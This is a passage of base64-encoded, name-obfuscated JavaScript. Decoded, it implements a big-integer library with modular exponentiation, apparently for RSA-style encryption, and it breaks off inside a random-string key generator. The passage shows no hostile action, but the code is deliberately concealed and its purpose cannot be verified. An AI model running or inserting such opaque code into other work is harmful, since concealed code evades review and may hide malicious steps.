pcyk7CiB9CgogZnVuY3Rpb24gSWwxSU5ibigpIHsKIHZhciBjID0gdGhpcy5zJnRoaXMuRE07CiB3aGlsZSh0aGlzLnQgPiAwICYmIHRoaXNbdGhpcy50LTFdID09IGMpIC0tdGhpcy50OwogfQoKIGZ1bmN0aW9uIElsMUlsbDFjYm4ocikgeyByZXR1cm4gSWwxSWIuZmxvb3IoSWwxSWIuTE4yKnRoaXMuREIvSWwxSWIubG9nKHIpKTt9CgogZnVuY3Rpb24gSWwxSWxsMW1ibihuKSB7CiB0aGlzW3RoaXMudF0gPSB0aGlzLmFtKDAsbi0xLHRoaXMsMCwwLHRoaXMudCk7CiArK3RoaXMudDsKIHRoaXMuSWwxSU4oKTsKIH0KCiBmdW5jdGlvbiBJbDFJbGwxbmJuKCkgewogaWYodGhpcy5zIDwgMCkgcmV0dXJuIC0xOwogZWxzZSBpZih0aGlzLnQgPD0gMCB8fCAodGhpcy50ID09IDEgJiYgdGhpc1swXSA8PSAwKSkgcmV0dXJuIDA7CiBlbHNlIHJldHVybiAxOwogfQoKIGZ1bmN0aW9uIElsMUlsbDFpYm4oKSB7CiBpZih0aGlzLnMgPCAwKSB7CiBpZih0aGlzLnQgPT0gMSkgcmV0dXJuIHRoaXNbMF0tdGhpcy5EVjsKIGVsc2UgaWYodGhpcy50ID09IDApIHJldHVybiAtMTsKIH0KIGVsc2UgaWYodGhpcy50ID09IDEpIHJldHVybiB0aGlzWzBdOwogZWxzZSBpZih0aGlzLnQgPT0gMCkgcmV0dXJuIDA7CiByZXR1cm4gKCh0aGlzWzFdJigoMTw8KDMyLXRoaXMuREIpKS0xKSk8PHRoaXMuREIpfHRoaXNbMF07CiB9CgogZnVuY3Rpb24gSWwxSWxsMXRibihiKSB7CiBpZihiID09IG51bGwpIGIgPSAxMDsKIGlmKHRoaXMuSWwxSWxsMW4oKSA9PSAwIHx8IGIgPCAyIHx8IGIgPiAzNikgcmV0dXJuICcwJzsKIHZhciBjcyA9IHRoaXMuSWwxSWxsMWMoYik7CiB2YXIgYSA9IElsMUliLnBvdyhiLGNzKTsKIHZhciBkID0gSWwxSUMoYSksIHkgPSBJbDFJeCgpLCB6ID0gSWwxSXgoKSwgciA9ICcnOwogdGhpcy5JbDFJSChkLHkseik7CiB3aGlsZSh5LklsMUlsbDFuKCkgPiAwKSB7CiByID0gKGErei5JbDFJbGwxaSgpKS50b1N0cmluZyhiKS5zdWJzdHIoMSkgKyByOwogeS5JbDFJSChkLHkseik7CiB9CiByZXR1cm4gei5JbDFJbGwxaSgpLnRvU3RyaW5nKGIpICsgcjsKIH0KCiBmdW5jdGlvbiBJbDFJbGwxZmJuKHMsYikgewogdGhpcy5JbDFJRCgwKTsKIGlmKGIgPT0gbnVsbCkgYiA9IDEwOwogdmFyIGNzID0gdGhpcy5JbDFJbGwxYyhiKTsKIHZhciBkID0gSWwxSWIucG93KGIsY3MpLCBtaSA9IGZhbHNlLCBqID0gMCwgdyA9IDA7CiBmb3IodmFyIGkgPSAwOyBpIDwgcy5sZW5ndGg7ICsraSkgewogdmFyIHggPSBJbDFJZ2EocyxpKTsKIGlmKHggPCAwKSB7CiBpZihzLmNoYXJBdChpKSA9PSAnLScgJiYgdGhpcy5JbDFJbGwxbigpID09IDApIG1pID0gdHJ1ZTsKIGNvbnRpbnVlOwogfQogdyA9IGIqdyt4OwogaWYoKytqID49IGNzKSB7CiB0aGlzLklsMUlsbDFtKGQpOwogdGhpcy5JbDFJUSh3LDApOwogaiA9IDA7CiB3ID0gMDsKIH0KIH0KIGlmKGogPiAwKSB7CiB0aGlzLklsMUlsbDFtKElsMUliLnBvdyhiLGopKTsKIHRoaXMuSWwxSVEodywwKTsKIH0KIGlmKG1pKSBJbDFJTC5JbDFJTSh0aGlzLHRoaXMpOwogfQoKIGZ1bmN0aW9uIElsMUlsbDFzKGIpIHsKIGlmKHRoaXMucyA8IDApIHJldHVybiAnLScrdGhpcy5JbDFJbGwxbygpLnRvU3RyaW5nKGIpOwogdmFyIGs7CiBpZihiID09IDE2KSBrID0gNDsKIGVsc2UgaWYoYiA9PSA4KSBrID0gMzsKIGVsc2UgaWYoYiA9PSAyKSBrID0gMTsKIGVsc2UgaWYoYiA9PSAzMikgayA9IDU7CiBlbHNlIGlmKGIgPT0gNCkgayA9IDI7CiBlbHNlIHJldHVybiB0aGlzLklsMUlsbDF0KGIpOwogdmFyIGttID0gKDE8PGspLTEsIGQsIG0gPSBmYWxzZSwgciA9ICcnLCBpID0gdGhpcy50OwogdmFyIHAgPSB0aGlzLkRCLShpKnRoaXMuREIpJWs7CiBpZihpLS0gPiAwKSB7CiBpZihwIDwgdGhpcy5EQiAmJiAoZCA9IHRoaXNbaV0+PnApID4gMCkgeyBtID0gdHJ1ZTsgciA9IElsMUlpMmMoZCk7IH0KIHdoaWxlKGkgPj0gMCkgewogaWYocCA8IGspIHsKIGQgPSAodGhpc1tpXSYoKDE8PHApLTEpKTw8KGstcCk7CiBkIHw9IHRoaXNbLS1pXT4+KHArPXRoaXMuREItayk7CiB9CiBlbHNlIHsKIGQgPSAodGhpc1tpXT4+KHAtPWspKSZrbTsKIGlmKHAgPD0gMCkgeyBwICs9IHRoaXMuREI7IC0taTsgfQogfQogaWYoZCA+IDApIG0gPSB0cnVlOwogaWYobSkgciArPSBJbDFJaTJjKGQpOwogfQogfQogcmV0dXJuIG0/cjonMCc7CiB9CgogZnVuY3Rpb24gSWwxSWxsMW9ibigpIHsgdmFyIHIgPSBJbDFJeCgpOyBJbDFJTC5JbDFJTSh0aGlzLHIpOyByZXR1cm4gcjsgfQoKIGZ1bmN0aW9uIElsMUlsbDFhYm4oKSB7IHJldHVybiAodGhpcy5zPDApP3RoaXMuSWwxSWxsMW8oKTp0aGlzOyB9CgogZnVuY3Rpb24gSWwxSUdibihhKSB7CiB2YXIgciA9IHRoaXMucy1hLnM7CiBpZihyICE9IDApIHJldHVybiByOwogdmFyIGkgPSB0aGlzLnQ7CiByID0gaS1hLnQ7CiBpZihyICE9IDApIHJldHVybiAodGhpcy5zPDApPy1yOnI7CiB3aGlsZSgtLWkgPj0gMCkgaWYoKHI9dGhpc1tpXS1hW2ldKSAhPSAwKSByZXR1cm4gcjsKIHJldHVybiAwOwogfQoKIGZ1bmN0aW9uIElsMUlFKHgpIHsKIHZhciByID0gMSwgdDsKIGlmKCh0PXg+Pj4xNikgIT0gMCkgeyB4ID0gdDsgciArPSAxNjsgfQogaWYoKHQ9eD4+OCkgIT0gMCkgeyB4ID0gdDsgciArPSA4OyB9CiBpZigodD14Pj40KSAhPSAwKSB7IHggPSB0OyByICs9IDQ7IH0KIGlmKCh0PXg+PjIpICE9IDApIHsgeCA9IHQ7IHIgKz0gMjsgfQogaWYoKHQ9eD4+MSkgIT0gMCkgeyB4ID0gdDsgciArPSAxOyB9CiByZXR1cm4gcjsKIH0KCiBmdW5jdGlvbiBJbDFJbWFibigpIHsKIGlmKHRoaXMudCA8PSAwKSByZXR1cm4gMDsKIHJldHVybiB0aGlzLkRCKih0aGlzLnQtMSkrSWwxSUUodGhpc1t0aGlzLnQtMV1eKHRoaXMucyZ0aGlzLkRNKSk7CiB9CgogZnVuY3Rpb24gSWwxSUtibihuLHIpIHsKIHZhciBpOwogZm9yKGkgPSB0aGlzLnQtMTsgaSA+PSAwOyAtLWkpIHJbaStuXSA9IHRoaXNbaV07CiBmb3IoaSA9IG4tMTsgaSA+PSAwOyAtLWkpIHJbaV0gPSAwOwogci50ID0gdGhpcy50K247CiByLnMgPSB0aGlzLnM7CiB9CgogZnVuY3Rpb24gSWwxSU9ibihuLHIpIHsKIGZvcih2YXIgaSA9IG47IGkgPCB0aGlzLnQ7ICsraSkgcltpLW5dID0gdGhpc1tpXTsKIHIudCA9IElsMUliLm1heCh0aGlzLnQtbiwwKTsKIHIucyA9IHRoaXMuczsKIH0KCiBmdW5jdGlvbiBJbDFJUmJuKG4scikgewogdmFyIGJzID0gbiV0aGlzLkRCOwogdmFyIGNicyA9IHRoaXMuREItYnM7CiB2YXIgYm0gPSAoMTw8Y2JzKS0xOwogdmFyIGRzID0gTWF0aC5mbG9vcihuL3RoaXMuREIpLCBjID0gKHRoaXMuczw8YnMpJnRoaXMuRE0sIGk7CiBmb3IoaSA9IHRoaXMudC0xOyBpID49IDA7IC0taSkgewogcltpK2RzKzFdID0gKHRoaXNbaV0+PmNicyl8YzsKIGMgPSAodGhpc1tpXSZibSk8PGJzOwogfQogZm9yKGkgPSBkcy0xOyBpID49IDA7IC0taSkgcltpXSA9IDA7CiByW2RzXSA9IGM7CiByLnQgPSB0aGlzLnQrZHMrMTsKIHIucyA9IHRoaXMuczsKIHIuSWwxSU4oKTsKIH0KCiBmdW5jdGlvbiBJbDFJU2JuKG4scikgewogci5zID0gdGhpcy5zOwogdmFyIGRzID0gTWF0aC5mbG9vcihuL3RoaXMuREIpOwogaWYoZHMgPj0gdGhpcy50KSB7IHIudCA9IDA7IHJldHVybjsgfQogdmFyIGJzID0gbiV0aGlzLkRCOwogdmFyIGNicyA9IHRoaXMuREItYnM7CiB2YXIgYm0gPSAoMTw8YnMpLTE7CiByWzBdID0gdGhpc1tkc10+PmJzOwogZm9yKHZhciBpID0gZHMrMTsgaSA8IHRoaXMudDsgKytpKSB7CiByW2ktZHMtMV0gfD0gKHRoaXNbaV0mYm0pPDxjYnM7CiByW2ktZHNdID0gdGhpc1tpXT4+YnM7CiB9CiBpZihicyA+IDApIHJbdGhpcy50LWRzLTFdIHw9ICh0aGlzLnMmYm0pPDxjYnM7CiByLnQgPSB0aGlzLnQtZHM7CiByLklsMUlOKCk7CiB9CgogZnVuY3Rpb24gSWwxSU1ibihhLHIpIHsKIHZhciBpID0gMCwgYyA9IDAsIG0gPSBNYXRoLm1pbihhLnQsdGhpcy50KTsKIHdoaWxlKGkgPCBtKSB7CiBjICs9IHRoaXNbaV0tYVtpXTsKIHJbaSsrXSA9IGMmdGhpcy5ETTsKIGMgPj49IHRoaXMuREI7CiB9CiBpZihhLnQgPCB0aGlzLnQpIHsKIGMgLT0gYS5zOwogd2hpbGUoaSA8IHRoaXMudCkgewogYyArPSB0aGlzW2ldOwogcltpKytdID0gYyZ0aGlzLkRNOwogYyA+Pj0gdGhpcy5EQjsKIH0KIGMgKz0gdGhpcy5zOwogfQogZWxzZSB7CiBjICs9IHRoaXMuczsKIHdoaWxlKGkgPCBhLnQpIHsKIGMgLT0gYVtpXTsKIHJbaSsrXSA9IGMmdGhpcy5ETTsKIGMgPj49IHRoaXMuREI7CiB9CiBjIC09IGEuczsKIH0KIHIucyA9IChjPDApPy0xOjA7CiBpZihjIDwgLTEpIHJbaSsrXSA9IHRoaXMuRFYrYzsKIGVsc2UgaWYoYyA+IDApIHJbaSsrXSA9IGM7CiByLnQgPSBpOwogci5JbDFJTigpOwogfQoKIGZ1bmN0aW9uIElsMUlJYm4oYSxyKSB7CiB2YXIgeCA9IHRoaXMuSWwxSWxsMWEoKSwgeSA9IGEuSWwxSWxsMWEoKTsKIHZhciBpID0geC50Owogci50ID0gaSt5LnQ7CiB3aGlsZSgtLWkgPj0gMCkgcltpXSA9IDA7CiBmb3IoaSA9IDA7IGkgPCB5LnQ7ICsraSkgcltpK3gudF0gPSB4LmFtKDAseVtpXSxyLGksMCx4LnQpOwogci5zID0gMDsKIHIuSWwxSU4oKTsKIGlmKHRoaXMucyAhPSBhLnMpIElsMUlMLklsMUlNKHIscik7CiB9CgogZnVuY3Rpb24gSWwxSUpibihyKSB7CiB2YXIgeCA9IHRoaXMuSWwxSWxsMWEoKTsKIHZhciBpID0gci50ID0gMip4LnQ7CiB3aGlsZSgtLWkgPj0gMCkgcltpXSA9IDA7CiBmb3IoaSA9IDA7IGkgPCB4LnQtMTsgKytpKSB7CiB2YXIgYyA9IHguYW0oaSx4W2ldLHIsMippLDAsMSk7CiBpZigocltpK3gudF0rPXguYW0oaSsxLDIqeFtpXSxyLDIqaSsxLGMseC50LWktMSkpID49IHguRFYpIHsKIHJbaSt4LnRdIC09IHguRFY7CiByW2kreC50KzFdID0gMTsKIH0KIH0KIGlmKHIudCA+IDApIHJbci50LTFdICs9IHguYW0oaSx4W2ldLHIsMippLDAsMSk7CiByLnMgPSAwOwogci5JbDFJTigpOwogfQoKIGZ1bmN0aW9uIElsMUlIYm4obSxxLHIpIHsKIHZhciBwbSA9IG0uSWwxSWxsMWEoKTsKIGlmKHBtLnQgPD0gMCkgcmV0dXJuOwogdmFyIHB0ID0gdGhpcy5JbDFJbGwxYSgpOwogaWYocHQudCA8IHBtLnQpIHsKIGlmKHEgIT0gbnVsbCkgcS5JbDFJRCgwKTsKIGlmKHIgIT0gbnVsbCkgdGhpc1tJbDFJZV0ocik7CiByZXR1cm47CiB9CiBpZihyID09IG51bGwpIHIgPSBJbDFJeCgpOwogdmFyIHkgPSBJbDFJeCgpLCB0cyA9IHRoaXMucywgbXMgPSBtLnM7CiB2YXIgbnNoID0gdGhpcy5EQi1JbDFJRShwbVtwbS50LTFdKTsKIGlmKG5zaCA+IDApIHsgcG0uSWwxSVIobnNoLHkpOyBwdC5JbDFJUihuc2gscik7IH0KIGVsc2UgeyBwbVtJbDFJZV0oeSk7IHB0W0lsMUllXShyKTsgfQogdmFyIHlzID0geS50OwogdmFyIHkwID0geVt5cy0xXTsKIGlmKHkwID09IDApIHJldHVybjsKIHZhciB5dCA9IHkwKigxPDx0aGlzLkYxKSsoKHlzPjEpP3lbeXMtMl0+PnRoaXMuRjI6MCk7CiB2YXIgZDEgPSB0aGlzLkZWL3l0LCBkMiA9ICgxPDx0aGlzLkYxKS95dCwgZSA9IDE8PHRoaXMuRjI7CiB2YXIgaSA9IHIudCwgaiA9IGkteXMsIHQgPSAocT09bnVsbCk/SWwxSXgoKTpxOwogeS5JbDFJSyhqLHQpOwogaWYoci5JbDFJRyh0KSA+PSAwKSB7CiByW3IudCsrXSA9IDE7CiByLklsMUlNKHQscik7CiB9CiBJbDFJVC5JbDFJSyh5cyx0KTsKIHQuSWwxSU0oeSx5KTsKIHdoaWxlKHkudCA8IHlzKSB5W3kudCsrXSA9IDA7CiB3aGlsZSgtLWogPj0gMCkgewogdmFyIHFkID0gKHJbLS1pXT09eTApP3RoaXMuRE06TWF0aC5mbG9vcihyW2ldKmQxKyhyW2ktMV0rZSkqZDIpOwogaWYoKHJbaV0rPXkuYW0oMCxxZCxyLGosMCx5cykpIDwgcWQpIHsKIHkuSWwxSUsoaix0KTsKIHIuSWwxSU0odCxyKTsKIHdoaWxlKHJbaV0gPCAtLXFkKSByLklsMUlNKHQscik7CiB9CiB9CiBpZihxICE9IG51bGwpIHsKIHIuSWwxSU8oeXMscSk7CiBpZih0cyAhPSBtcykgSWwxSUwuSWwxSU0ocSxxKTsKIH0KIHIudCA9IHlzOwogci5JbDFJTigpOwogaWYobnNoID4gMCkgci5JbDFJUyhuc2gscik7CiBpZih0cyA8IDApIElsMUlMLklsMUlNKHIscik7CiB9CgogZnVuY3Rpb24gSWwxSVVibigpIHsgcmV0dXJuICgodGhpcy50PjApPyh0aGlzWzBdJjEpOnRoaXMucykgPT0gMDsgfQoKIElsMUlzID0gSWwxSXVbSWwxSWhdOwogSWwxSXMuY29weVRvID0gSWwxSWVibjsKIElsMUlzLklsMUlEID0gSWwxSURibjsKIElsMUlzLklsMUl3ID0gSWwxSXdibjsKIElsMUlzLklsMUlOID0gSWwxSU5ibjsKIElsMUlzLklsMUlLID0gSWwxSUtibjsKIElsMUlzLklsMUlPID0gSWwxSU9ibjsKIElsMUlzLklsMUlSID0gSWwxSVJibjsKIElsMUlzLklsMUlTID0gSWwxSVNibjsKIElsMUlzLklsMUlNID0gSWwxSU1ibjsKIElsMUlzLklsMUlJID0gSWwxSUlibjsKIElsMUlzLklsMUlKID0gSWwxSUpibjsKIElsMUlzLklsMUlIID0gSWwxSUhibjsKIElsMUlzLklsMUlsbDFlID0gSWwxSWxsMWVibjsKIElsMUlzLklsMUlVID0gSWwxSVVibjsKCiBJbDFJcy5JbDFJbGwxYyA9IElsMUlsbDFjYm47CiBJbDFJcy5JbDFJbGwxdCA9IElsMUlsbDF0Ym47CiBJbDFJcy5JbDFJbGwxZiA9IElsMUlsbDFmYm47CiBJbDFJcy5JbDFJbGwxbSA9IElsMUlsbDFtYm47CiBJbDFJcy5JbDFJbGwxbiA9IElsMUlsbDFuYm47CiBJbDFJcy5JbDFJbGwxaSA9IElsMUlsbDFpYm47CiBJbDFJcy5JbDFJbGwxbyA9IElsMUlsbDFvYm47CiBJbDFJcy50b1N0cmluZyA9IElsMUlsbDFzOwogSWwxSXMuSWwxSWxsMWEgPSBJbDFJbGwxYWJuOwogSWwxSXMuSWwxSUcgPSBJbDFJR2JuOwogSWwxSXMuSWwxSW1hID0gSWwxSW1hYm47CgogSWwxSUwgPSBJbDFJQygwKTsKIElsMUlUID0gSWwxSUMoMSk7CgogZnVuY3Rpb24gSWwxSWxsMWRibihhKSB7IHZhciByID0gSWwxSXgoKTsgdGhpcy5JbDFJSChhLHIsbnVsbCk7IHJldHVybiByOyB9CgogZnVuY3Rpb24gSWwxSWxsMWVibigpIHsKIGlmKHRoaXMudCA8IDEpIHJldHVybiAwOwogdmFyIHggPSB0aGlzWzBdOwogaWYoKHgmMSkgPT0gMCkgcmV0dXJuIDA7CiB2YXIgeSA9IHgmMzsKIHkgPSAoeSooMi0oeCYxNSkqeSkpJjE1OwogeSA9ICh5KigyLSh4JjI1NSkqeSkpJjI1NTsKIHkgPSAoeSooMi0oKCh4JjY1NTM1KSp5KSY2NTUzNSkpKSY2NTUzNTsKIHkgPSAoeSooMi14KnkldGhpcy5EVikpJXRoaXMuRFY7CiByZXR1cm4gKHk+MCk/dGhpcy5EVi15Oi15OwogfQoKIGZ1bmN0aW9uIElsMUlRYm4obix3KSB7CiBpZihuID09IDApIHJldHVybjsKIHdoaWxlKHRoaXMudCA8PSB3KSB0aGlzW3RoaXMudCsrXSA9IDA7CiB0aGlzW3ddICs9IG47CiB3aGlsZSh0aGlzW3ddID49IHRoaXMuRFYpIHsKIHRoaXNbd10gLT0gdGhpcy5EVjsKIGlmKCsrdyA+PSB0aGlzLnQpIHRoaXNbdGhpcy50KytdID0gMDsKICsrdGhpc1t3XTsKIH0KIH0KCiBmdW5jdGlvbiBJbDFJbGwxbWxibihhLG4scikgewogdmFyIGkgPSBNYXRoLm1pbih0aGlzLnQrYS50LG4pOwogci5zID0gMDsKIHIudCA9IGk7CiB3aGlsZShpID4gMCkgclstLWldID0gMDsKIHZhciBqOwogZm9yKGogPSByLnQtdGhpcy50OyBpIDwgajsgKytpKSByW2krdGhpcy50XSA9IHRoaXMuYW0oMCxhW2ldLHIsaSwwLHRoaXMudCk7CiBmb3IoaiA9IE1hdGgubWluKGEudCxuKTsgaSA8IGo7ICsraSkgdGhpcy5hbSgwLGFbaV0scixpLDAsbi1pKTsKIHIuSWwxSU4oKTsKIH0KCiBmdW5jdGlvbiBJbDFJbGwxbXVibihhLG4scikgewogLS1uOwogdmFyIGkgPSByLnQgPSB0aGlzLnQrYS50LW47CiByLnMgPSAwOwogd2hpbGUoLS1pID49IDApIHJbaV0gPSAwOwogZm9yKGkgPSBNYXRoLm1heChuLXRoaXMudCwwKTsgaSA8IGEudDsgKytpKQogclt0aGlzLnQraS1uXSA9IHRoaXMuYW0obi1pLGFbaV0sciwwLDAsdGhpcy50K2ktbik7CiByLklsMUlOKCk7CiByLklsMUlPKDEscik7CiB9CgogZnVuY3Rpb24gSWwxSWJhYm4oYSxiLGMpIHsKIHJldHVybiBudWxsOwogfQoKIGZ1bmN0aW9uIElsMUlGKG0pIHsgdGhpcy5tID0gbTsgfQogZnVuY3Rpb24gSWwxSUZwYSh4KSB7CiBpZih4LnMgPCAwIHx8IHguSWwxSUcodGhpcy5tKSA+PSAwKSByZXR1cm4geC5tb2QodGhpcy5tKTsKIGVsc2UgcmV0dXJuIHg7CiB9CgogZnVuY3Rpb24gSWwxSUZzYSh4KSB7IHJldHVybiB4OyB9CiBmdW5jdGlvbiBJbDFJRnJlKHgpIHsgeC5JbDFJSCh0aGlzLm0sbnVsbCx4KTsgfQogZnVuY3Rpb24gSWwxSUZqYSh4LHkscikgeyB4LklsMUlJKHkscik7IHRoaXNbSWwxSWZdKHIpOyB9CiBmdW5jdGlvbiBJbDFJRlAoeCxyKSB7IHguSWwxSUoocik7IHRoaXNbSWwxSWZdKHIpOyB9CgogSWwxSXMgPSBJbDFJRltJbDFJaF07CiBJbDFJcy5wYSA9IElsMUlGcGE7CiBJbDFJcy5zYSA9IElsMUlGc2E7CiBJbDFJcy5yZWR1Y2UgPSBJbDFJRnJlOwogSWwxSXMuamEgPSBJbDFJRmphOwogSWwxSXMuUCA9IElsMUlGUDsKCiBmdW5jdGlvbiBJbDFJb2EobSkgewogdGhpcy5yMiA9IElsMUl4KCk7CiB0aGlzLnEzID0gSWwxSXgoKTsKIElsMUlULklsMUlLKDIqbS50LHRoaXMucjIpOwogdGhpcy5tdSA9IHRoaXMucjIuSWwxSWxsMWQobSk7CiB0aGlzLm0gPSBtOwogfQoKIGZ1bmN0aW9uIElsMUlvYXBhKHgpIHsKIGlmKHgucyA8IDAgfHwgeC50ID4gMip0aGlzLm0udCkgcmV0dXJuIHgubW9kKHRoaXMubSk7CiBlbHNlIGlmKHguSWwxSUcodGhpcy5tKSA8IDApIHJldHVybiB4OwogZWxzZSB7IHZhciByID0gSWwxSXgoKTsgeFtJbDFJZV0ocik7IHRoaXNbSWwxSWZdKHIpOyByZXR1cm4gcjsgfQogfQoKIGZ1bmN0aW9uIElsMUlvYXNhKHgpIHsgcmV0dXJuIHg7IH0KCiBmdW5jdGlvbiBJbDFJb2FyZSh4KSB7CiB4LklsMUlPKHRoaXMubS50LTEsdGhpcy5yMik7CiBpZih4LnQgPiB0aGlzLm0udCsxKSB7IHgudCA9IHRoaXMubS50KzE7IHguSWwxSU4oKTsgfQogdGhpcy5tdS5JbDFJbGwxbXUodGhpcy5yMix0aGlzLm0udCsxLHRoaXMucTMpOwogdGhpcy5tLklsMUlsbDFtbCh0aGlzLnEzLHRoaXMubS50KzEsdGhpcy5yMik7CiB3aGlsZSh4LklsMUlHKHRoaXMucjIpIDwgMCkgeC5JbDFJUSgxLHRoaXMubS50KzEpOwogeC5JbDFJTSh0aGlzLnIyLHgpOwogd2hpbGUoeC5JbDFJRyh0aGlzLm0pID49IDApIHguSWwxSU0odGhpcy5tLHgpOwogfQoKIGZ1bmN0aW9uIElsMUlvYVAoeCxyKSB7IHguSWwxSUoocik7IHRoaXNbSWwxSWZdKHIpOyB9CgogZnVuY3Rpb24gSWwxSW9hamEoeCx5LHIpIHsgeC5JbDFJSSh5LHIpOyB0aGlzW0lsMUlmXShyKTsgfQoKIElsMUlzID0gSWwxSW9hW0lsMUloXTsKIElsMUlzLnBhID0gSWwxSW9hcGE7CiBJbDFJcy5zYSA9IElsMUlvYXNhOwogSWwxSXMucmVkdWNlID0gSWwxSW9hcmU7CiBJbDFJcy5qYSA9IElsMUlvYWphOwogSWwxSXMuUCA9IElsMUlvYVA7CgoKIGZ1bmN0aW9uIElsMUlpYShtKSB7CiB0aGlzLm0gPSBtOwogdGhpcy5tcCA9IG0uSWwxSWxsMWUoKTsKIHRoaXMubXBsID0gdGhpcy5tcCYzMjc2NzsKIHRoaXMubXBoID0gdGhpcy5tcD4+MTU7CiB0aGlzLnVtID0gKDE8PChtLkRCLTE1KSktMTsKIHRoaXMubXQyID0gMiptLnQ7CiB9CgogZnVuY3Rpb24gSWwxSWlhcGEoeCkgewogdmFyIHIgPSBJbDFJeCgpOwogeC5JbDFJbGwxYSgpLklsMUlLKHRoaXMubS50LHIpOwogci5JbDFJSCh0aGlzLm0sbnVsbCxyKTsKIGlmKHgucyA8IDAgJiYgci5JbDFJRyhJbDFJTCkgPiAwKSB0aGlzLm0uSWwxSU0ocixyKTsKIHJldHVybiByOwogfQoKIGZ1bmN0aW9uIElsMUlpYXNhKHgpIHsKIHZhciByID0gSWwxSXgoKTsKIHhbSWwxSWVdKHIpOwogdGhpc1tJbDFJZl0ocik7CiByZXR1cm4gcjsKIH0KCiBmdW5jdGlvbiBJbDFJaWFyZSh4KSB7CiB3aGlsZSh4LnQgPD0gdGhpcy5tdDIpCiB4W3gudCsrXSA9IDA7CiBmb3IodmFyIGkgPSAwOyBpIDwgdGhpcy5tLnQ7ICsraSkgewogdmFyIGogPSB4W2ldJjMyNzY3OwogdmFyIHUwID0gKGoqdGhpcy5tcGwrKCgoaip0aGlzLm1waCsoeFtpXT4+MTUpKnRoaXMubXBsKSZ0aGlzLnVtKTw8MTUpKSZ4LkRNOwogaiA9IGkrdGhpcy5tLnQ7CiB4W2pdICs9IHRoaXMubS5hbSgwLHUwLHgsaSwwLHRoaXMubS50KTsKIHdoaWxlKHhbal0gPj0geC5EVikgeyB4W2pdIC09IHguRFY7IHhbKytqXSsrOyB9CiB9CiB4LklsMUlOKCk7CiB4LklsMUlPKHRoaXMubS50LHgpOwogaWYoeC5JbDFJRyh0aGlzLm0pID49IDApIHguSWwxSU0odGhpcy5tLHgpOwogfQoKIGZ1bmN0aW9uIElsMUlpYVAoeCxyKSB7IHguSWwxSUoocik7IHRoaXNbSWwxSWZdKHIpOyB9CgogZnVuY3Rpb24gSWwxSWlhamEoeCx5LHIpIHsgeC5JbDFJSSh5LHIpOyB0aGlzW0lsMUlmXShyKTsgfQoKIElsMUlzID0gSWwxSWlhW0lsMUloXTsKIElsMUlzLnBhID0gSWwxSWlhcGE7CiBJbDFJcy5zYSA9IElsMUlpYXNhOwogSWwxSXMucmVkdWNlID0gSWwxSWlhcmU7CiBJbDFJcy5qYSA9IElsMUlpYWphOwogSWwxSXMuUCA9IElsMUlpYVA7CgogZnVuY3Rpb24gSWwxSVhibihlLG0pIHsKIHZhciBpID0gZS5JbDFJbWEoKSwgaywgciA9IElsMUlDKDEpLCB6OwogaWYoaSA8PSAwKSByZXR1cm4gcjsKIGVsc2UgaWYoaSA8IDE4KSBrID0gMTsKIGVsc2UgaWYoaSA8IDQ4KSBrID0gMzsKIGVsc2UgaWYoaSA8IDE0NCkgayA9IDQ7CiBlbHNlIGlmKGkgPCA3NjgpIGsgPSA1OwogZWxzZSBrID0gNjsKIGlmKGkgPCA4KQogeiA9IG5ldyBJbDFJRihtKTsKIGVsc2UgaWYobS5JbDFJVSgpKQogeiA9IG5ldyBJbDFJb2EobSk7CiBlbHNlCiB6ID0gbmV3IElsMUlpYShtKTsKCiB2YXIgZyA9IG5ldyBBcnJheSgpLCBuID0gMywgazEgPSBrLTEsIGttID0gKDE8PGspLTE7CiBnWzFdID0gei5wYSh0aGlzKTsKIGlmKGsgPiAxKSB7CiB2YXIgZzIgPSBJbDFJeCgpOwogei5QKGdbMV0sZzIpOwogd2hpbGUobiA8PSBrbSkgewogZ1tuXSA9IElsMUl4KCk7CiB6LmphKGcyLGdbbi0yXSxnW25dKTsKIG4gKz0gMjsKIH0KIH0KCiB2YXIgaiA9IGUudC0xLCB3LCBpczEgPSB0cnVlLCByMiA9IElsMUl4KCksIHQ7CiBpID0gSWwxSUUoZVtqXSktMTsKIHdoaWxlKGogPj0gMCkgewogaWYoaSA+PSBrMSkgdyA9IChlW2pdPj4oaS1rMSkpJmttOwogZWxzZSB7CiB3ID0gKGVbal0mKCgxPDwoaSsxKSktMSkpPDwoazEtaSk7CiBpZihqID4gMCkgdyB8PSBlW2otMV0+Pih0aGlzLkRCK2ktazEpOwogfQoKIG4gPSBrOwogd2hpbGUoKHcmMSkgPT0gMCkgeyB3ID4+PSAxOyAtLW47IH0KIGlmKChpIC09IG4pIDwgMCkgeyBpICs9IHRoaXMuREI7IC0tajsgfQogaWYoaXMxKSB7CiBnW3ddW0lsMUllXShyKTsKIGlzMSA9IGZhbHNlOwogfQogZWxzZSB7CiB3aGlsZShuID4gMSkgeyB6LlAocixyMik7IHouUChyMixyKTsgbiAtPSAyOyB9CiBpZihuID4gMCkgei5QKHIscjIpOyBlbHNlIHsgdCA9IHI7IHIgPSByMjsgcjIgPSB0OyB9CiB6LmphKHIyLGdbd10scik7CiB9Cgogd2hpbGUoaiA+PSAwICYmIChlW2pdJigxPDxpKSkgPT0gMCkgewogei5QKHIscjIpOyB0ID0gcjsgciA9IHIyOyByMiA9IHQ7CiBpZigtLWkgPCAwKSB7IGkgPSB0aGlzLkRCLTE7IC0tajsgfQogfQogfQogcmV0dXJuIHouc2Eocik7CiB9CgogSWwxSXMgPSBJbDFJdVtJbDFJaF0KIElsMUlzLklsMUlRID0gSWwxSVFibjsKIElsMUlzLklsMUlsbDFtbCA9IElsMUlsbDFtbGJuOwogSWwxSXMuSWwxSWxsMW11ID0gSWwxSWxsMW11Ym47CiBJbDFJcy5JbDFJYmEgPSBJbDFJYmFibjsKIElsMUlzLklsMUlsbDFkID0gSWwxSWxsMWRibjsKIElsMUlzLklsMUlYID0gSWwxSVhibjsKCiBpZiAodHlwZW9mIGV4cG9ydHMgIT09ICd1bmRlZmluZWQnKSB7CiBleHBvcnRzID0gbW9kdWxlLmV4cG9ydHMgPSB7CiBJbDFJdTogSWwxSXUsCiB9OwogfSBlbHNlIHsKIHRoaXMuSWwxSWxsbDFJMWwgPSB7CiBJbDFJdTpJbDFJdSAsCiB9OwogfQoKfSkuY2FsbCh0aGlzKTsKCmZ1bmN0aW9uIElsMUl0YSgpCnsKIGZvciAodmFyIGEgPSAnJzsgMzIgPiBhW0lsMUluXTspIHN3aXRjaCAoSWwxSWJbSWwxSXFdKElsMUliW0lsMUlrXSgpKSkKIHsKIGNhc2UgMDoKIGEgKz0gSWwxSWNbSWwxSWxdKElsMUliW0lsMUlxXSg5ICogSWwxSWJbSWwxSWtdKCk